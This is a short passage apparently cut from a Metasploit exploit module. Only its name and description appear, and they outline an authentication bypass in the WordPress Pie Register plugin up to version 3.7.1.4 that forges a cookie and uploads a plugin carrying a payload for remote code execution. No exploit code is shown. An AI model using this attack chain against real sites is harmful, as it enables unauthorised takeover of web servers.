'Name' => 'WordPress Plugin Pie Register Auth Bypass to RCE',
'Description' => %q{
This module uses an authentication bypass vulnerability in
Wordpress Plugin Pie Register <= 3.7.1.4 to generate a valid cookie.
With this cookie, hopefully of the admin, it will generate a plugin,
pack the payload into it and upload it to a server running WordPress.
